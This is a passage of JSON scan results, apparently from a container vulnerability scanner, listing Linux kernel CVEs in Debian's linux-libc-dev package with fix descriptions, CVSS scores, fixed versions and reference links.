"https://bugzilla.redhat.com/show_bug.cgi?id=2351619", "https://bugzilla.redhat.com/show_bug.cgi?id=2420279", "https://bugzilla.redhat.com/show_bug.cgi?id=2424881", "https://bugzilla.redhat.com/show_bug.cgi?id=2432389", "https://bugzilla.redhat.com/show_bug.cgi?id=2432400", "https://bugzilla.redhat.com/show_bug.cgi?id=2451218", "https://bugzilla.redhat.com/show_bug.cgi?id=2461471", "https://bugzilla.redhat.com/show_bug.cgi?id=2461480", "https://bugzilla.redhat.com/show_bug.cgi?id=2464351", "https://bugzilla.redhat.com/show_bug.cgi?id=2464397", "https://bugzilla.redhat.com/show_bug.cgi?id=2467234", "https://bugzilla.redhat.com/show_bug.cgi?id=2482166", "https://bugzilla.redhat.com/show_bug.cgi?id=2482532", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-53781", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22990", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31581", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43038", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45852", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46181", "https://errata.almalinux.org/9/ALSA-2026-30848.html", "https://errata.rockylinux.org/RLSA-2026:25121", "https://git.kernel.org/linus/86ab3e55673a7a49a841838776f1ab18d23a67b5%20%287.0-rc7%29", "https://git.kernel.org/stable/c/0452b6526b2f54b2413b9cb4ff1ea2ac542c99c7", "https://git.kernel.org/stable/c/1ceeebd5bd6d855b17a5df625109bfe29129d7cf", "https://git.kernel.org/stable/c/3d5127d998de617b130aae96b138dba22ac6a8a7", "https://git.kernel.org/stable/c/86ab3e55673a7a49a841838776f1ab18d23a67b5", "https://git.kernel.org/stable/c/a2edbb6393972a02114b6003953a5cef3104fada", "https://git.kernel.org/stable/c/a4437faf135da293d16fcc4cc607316742bd0ebb", "https://git.kernel.org/stable/c/c438ba010171b70bad22fc18b1d5bdc3627476e8", "https://git.kernel.org/stable/c/e41953e7d118e2702bcb217879c173d9d1d3cd4e", "https://linux.oracle.com/cve/CVE-2026-43038.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050103-CVE-2026-43038-b591@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43038", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43038.json", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8501-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8529-1", "https://ubuntu.com/security/notices/USN-8529-2", "https://ubuntu.com/security/notices/USN-8530-1", "https://ubuntu.com/security/notices/USN-8530-2", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8548-1", "https://ubuntu.com/security/notices/USN-8548-2", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8615-1", "https://ubuntu.com/security/notices/USN-8615-2", "https://ubuntu.com/security/notices/USN-8616-1", "https://ubuntu.com/security/notices/USN-8617-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8635-1", "https://www.cve.org/CVERecord?id=CVE-2026-43038" ], "PublishedDate": "2026-05-01T15:16:48.533Z", "LastModifiedDate": "2026-10-19T20:18:02.21Z" }, { "VulnerabilityID": "CVE-2026-43040", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43040", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3e81f5a886431cb092c2fb3dec91cab019fdd78725bef236477a5ff8764e5569", "Title": "kernel: net: ipv6: ndisc: fix ndisc_ra_useropt to initialize nduseropt_padX fields to zero to prevent an info-leak", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ipv6: ndisc: fix ndisc_ra_useropt to initialize nduseropt_padX fields to zero to prevent an info-leak\n\nWhen processing Router Advertisements with user options the kernel\nbuilds an RTM_NEWNDUSEROPT netlink message. The nduseroptmsg struct\nhas three padding fields that are never zeroed and can leak kernel data\n\nThe fix is simple, just zeroes the padding fields.", "Severity": "HIGH", "CweIDs": [ "CWE-909" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43040", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://git.kernel.org/linus/ae05340ccaa9d347fe85415609e075545bec589f%20%287.0-rc7%29", "https://git.kernel.org/stable/c/11d7fe97421cfc81549940c20ed5ac9472d6db05", "https://git.kernel.org/stable/c/1da9023f6b071a38e5430ffbce4b70b2b1ac4f9c", "https://git.kernel.org/stable/c/2fe4d0ba690a69ad6ae9f7ab9bdc96e02610b648", "https://git.kernel.org/stable/c/4f810c686fde509d1cdaa706322d9d2531f8f1a4", "https://git.kernel.org/stable/c/7f56d87e527bb5a13c3e8b0d5840cb6332822f6d", "https://git.kernel.org/stable/c/ae05340ccaa9d347fe85415609e075545bec589f", "https://git.kernel.org/stable/c/b485eef3d97b7aae55ce669b6de555ec81f3d21c", "https://git.kernel.org/stable/c/ef3645606e4a635d5062a492f22b7f490852ee67", "https://linux.oracle.com/cve/CVE-2026-43040.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050103-CVE-2026-43040-8fa0@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43040", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43040" ], "PublishedDate": "2026-05-01T15:16:50.13Z", "LastModifiedDate": "2026-11-06T16:18:18.413Z" }, { "VulnerabilityID": "CVE-2026-43049", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43049", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5be6cda207eb2a4844b393bb8904772bb2301847e1efe5bc659fa563d5a6463b", "Title": "kernel: HID: logitech-hidpp: Prevent use-after-free on force feedback initialisation failure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: logitech-hidpp: Prevent use-after-free on force feedback initialisation failure\n\nPresently, if the force feedback initialisation fails when probing the\nLogitech G920 Driving Force Racing Wheel for Xbox One, an error number\nwill be returned and propagated before the userspace infrastructure\n(sysfs and /dev/input) has been torn down. If userspace ignores the\nerrors and continues to use its references to these dangling entities, a\nUAF will promptly follow.\n\nWe have 2 options; continue to return the error, but ensure that all of\nthe infrastructure is torn down accordingly or continue to treat this\ncondition as a warning by emitting the message but returning success.\nIt is thought that the original author's intention was to emit the\nwarning but keep the device functional, less the force feedback feature,\nso let's go with that.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43049", "https://git.kernel.org/linus/f7a4c78bfeb320299c1b641500fe7761eadbd101%20%287.0-rc5%29", "https://git.kernel.org/stable/c/222bcf7b02899250b20a7a02d29b4e89fe537322", "https://git.kernel.org/stable/c/772f99cc8d6e5d95613bce93c9624e154c1abe88", "https://git.kernel.org/stable/c/9a793ac19eb84f44ed759c0fce80cf29bc2a2453", "https://git.kernel.org/stable/c/b846fb0a73e99174f08238e083e284c0463a2102", "https://git.kernel.org/stable/c/df966f0def87550bd81d0892cdff992202de2712", "https://git.kernel.org/stable/c/f7a4c78bfeb320299c1b641500fe7761eadbd101", "https://linux.oracle.com/cve/CVE-2026-43049.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050106-CVE-2026-43049-224e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43049", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-43049" ], "PublishedDate": "2026-05-01T15:16:51.297Z", "LastModifiedDate": "2026-11-06T16:18:19.03Z" }, { "VulnerabilityID": "CVE-2026-43050", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43050", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3180c5ed36054a69e4c9e050e8e53b83de3b9db25a5f3055ac17fb8c6649376b", "Title": "kernel: atm: lec: fix use-after-free in sock_def_readable()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\natm: lec: fix use-after-free in sock_def_readable()\n\nA race condition exists between lec_atm_close() setting priv-\u003elecd\nto NULL and concurrent access to priv-\u003elecd in send_to_lecd(),\nlec_handle_bridge(), and lec_atm_send(). When the socket is freed\nvia RCU while another thread is still using it, a use-after-free\noccurs in sock_def_readable() when accessing the socket's wait queue.\n\nThe root cause is that lec_atm_close() clears priv-\u003elecd without\nany synchronization, while callers dereference priv-\u003elecd without\nany protection against concurrent teardown.\n\nFix this by converting priv-\u003elecd to an RCU-protected pointer:\n- Mark priv-\u003elecd as __rcu in lec.h\n- Use rcu_assign_pointer() in lec_atm_close() and lecd_attach()\n for safe pointer assignment\n- Use rcu_access_pointer() for NULL checks that do not dereference\n the pointer in lec_start_xmit(), lec_push(), send_to_lecd() and\n lecd_attach()\n- Use rcu_read_lock/rcu_dereference/rcu_read_unlock in send_to_lecd(),\n lec_handle_bridge() and lec_atm_send() to safely access lecd\n- Use rcu_assign_pointer() followed by synchronize_rcu() in\n lec_atm_close() to ensure all readers have completed before\n proceeding. This is safe since lec_atm_close() is called from\n vcc_release() which holds lock_sock(), a sleeping lock.\n- Remove the manual sk_receive_queue drain from lec_atm_close()\n since vcc_destroy_socket() already drains it after lec_atm_close()\n returns.\n\nv2: Switch from spinlock + sock_hold/put approach to RCU to properly\n fix the race. The v1 spinlock approach had two issues pointed out\n by Eric Dumazet:\n 1. priv-\u003elecd was still accessed directly after releasing the\n lock instead of using a local copy.\n 2. The spinlock did not prevent packets being queued after\n lec_atm_close() drains sk_receive_queue since timer and\n workqueue paths bypass netif_stop_queue().\n\nNote: Syzbot patch testing was attempted but the test VM terminated\n unexpectedly with \"Connection to localhost closed by remote host\",\n likely due to a QEMU AHCI emulation issue unrelated to this fix.\n Compile testing with \"make W=1 net/atm/lec.o\" passes cleanly.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43050", "https://git.kernel.org/linus/922814879542c2e397b0e9641fd36b8202a8e555%20%287.0-rc5%29", "https://git.kernel.org/stable/c/317843d5355062020649124eb4a0d7acbcc3f53e", "https://git.kernel.org/stable/c/3989740fa4978e1d2d51ecc62be1b01093e104ad", "https://git.kernel.org/stable/c/3e8b25f32f2f35549d03d77da030a24a45bdef5b", "https://git.kernel.org/stable/c/5fbbb1ff936d7ff9528d929c1549977e8123d8a8", "https://git.kernel.org/stable/c/750a33f417f3d196b86375f8d9f8938bacf130fe", "https://git.kernel.org/stable/c/922814879542c2e397b0e9641fd36b8202a8e555", "https://git.kernel.org/stable/c/abc10f85a3965ac14b9ed7ad3e67b35604a63aa3", "https://git.kernel.org/stable/c/b256d055da47258e63f8b40965f276c5f23d229a", "https://linux.oracle.com/cve/CVE-2026-43050.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050106-CVE-2026-43050-1cd2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43050", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43050" ], "PublishedDate": "2026-05-01T15:16:51.403Z", "LastModifiedDate": "2026-11-06T16:18:19.21Z" }, { "VulnerabilityID": "CVE-2026-43052", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43052", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ba0c534a6c99363a3ae9ed57042b75663b0020b16516be49c5b6c54f6102b952", "Title": "kernel: wifi: mac80211: check tdls flag in ieee80211_tdls_oper", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: check tdls flag in ieee80211_tdls_oper\n\nWhen NL80211_TDLS_ENABLE_LINK is called, the code only checks if the\nstation exists but not whether it is actually a TDLS station. This\nallows the operation to proceed for non-TDLS stations, causing\nunintended side effects like modifying channel context and HT\nprotection before failing.\n\nAdd a check for sta-\u003esta.tdls early in the ENABLE_LINK case, before\nany side effects occur, to ensure the operation is only allowed for\nactual TDLS peers.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43052", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/7d73872d949c488a1d7c308031d6a9d89b5e0a8b%20%287.0-rc5%29", "https://git.kernel.org/stable/c/44839ea7e96b3659a1606f3d5267063135479b7c", "https://git.kernel.org/stable/c/6813a8b1b240756dad4375f3e020ce10e4e3871b", "https://git.kernel.org/stable/c/7d73872d949c488a1d7c308031d6a9d89b5e0a8b", "https://git.kernel.org/stable/c/8148c2fda4ebb17104a573649c9b699208ad10ee", "https://git.kernel.org/stable/c/ba5b43db126a5e7378553869e3f7954d9187349f", "https://git.kernel.org/stable/c/be81f17151fcb8546a95f35ca8f4231b065985de", "https://git.kernel.org/stable/c/e602246235fc2ef06c39b2e9cf147d84d0896b73", "https://git.kernel.org/stable/c/e77b2937aaa20264e4bd699d3244bdb50e7e3343", "https://linux.oracle.com/cve/CVE-2026-43052.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050107-CVE-2026-43052-10fe@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43052", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43052" ], "PublishedDate": "2026-05-01T15:16:51.67Z", "LastModifiedDate": "2026-11-06T16:18:19.413Z" }, { "VulnerabilityID": "CVE-2026-43059", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43059", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:17bd9b23738a4dabae56508ba7703cc09185c709eb45a049eece18e0b433fc07", "Title": "kernel: Bluetooth: MGMT: Fix list corruption and UAF in command complete handlers", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: MGMT: Fix list corruption and UAF in command complete handlers\n\nCommit 302a1f674c00 (\"Bluetooth: MGMT: Fix possible UAFs\") introduced\nmgmt_pending_valid(), which not only validates the pending command but\nalso unlinks it from the pending list if it is valid. This change in\nsemantics requires updates to several completion handlers to avoid list\ncorruption and memory safety issues.\n\nThis patch addresses two left-over issues from the aforementioned rework:\n\n1. In mgmt_add_adv_patterns_monitor_complete(), mgmt_pending_remove()\nis replaced with mgmt_pending_free() in the success path. Since\nmgmt_pending_valid() already unlinks the command at the beginning of\nthe function, calling mgmt_pending_remove() leads to a double list_del()\nand subsequent list corruption/kernel panic.\n\n2. In set_mesh_complete(), the use of mgmt_pending_foreach() in the error\npath is removed. Since the current command is already unlinked by\nmgmt_pending_valid(), this foreach loop would incorrectly target other\npending mesh commands, potentially freeing them while they are still being\nprocessed concurrently (leading to UAFs). The redundant mgmt_cmd_status()\nis also simplified to use cmd-\u003eopcode directly.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43059", "https://git.kernel.org/linus/17f89341cb4281d1da0e2fb0de5406ab7c4e25ef%20%287.0-rc5%29", "https://git.kernel.org/stable/c/02023ff760cc104a5d86a82ef5b8dd89098ad78d", "https://git.kernel.org/stable/c/17f89341cb4281d1da0e2fb0de5406ab7c4e25ef", "https://git.kernel.org/stable/c/3d6de8467236cd763ddc7d06127689bdfbfbd8ff", "https://git.kernel.org/stable/c/695b45b2262fcb5e71bed1175aad59c72f92aa78", "https://git.kernel.org/stable/c/b5c5e96f3b0a5003c3ff98ebb33e59afec51dd77", "https://linux.oracle.com/cve/CVE-2026-43059.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050535-CVE-2026-43059-d26f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43059", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-43059" ], "PublishedDate": "2026-05-05T16:16:14.927Z", "LastModifiedDate": "2026-11-06T16:18:19.997Z" }, { "VulnerabilityID": "CVE-2026-43112", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43112", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3a2832015aa4bd1e1194246812e80dc1dccd1e13a8e384e05ee082c3ebac10ad", "Title": "kernel: fs/smb/client: fix out-of-bounds read in cifs_sanitize_prepath", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/smb/client: fix out-of-bounds read in cifs_sanitize_prepath\n\nWhen cifs_sanitize_prepath is called with an empty string or a string\ncontaining only delimiters (e.g., \"/\"), the current logic attempts to\ncheck *(cursor2 - 1) before cursor2 has advanced. This results in an\nout-of-bounds read.\n\nThis patch adds an early exit check after stripping prepended\ndelimiters. If no path content remains, the function returns NULL.\n\nThe bug was identified via manual audit and verified using a\nstandalone test case compiled with AddressSanitizer, which\ntriggered a SEGV on affected inputs.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:34911", "https://access.redhat.com/errata/RHSA-2026:36018", 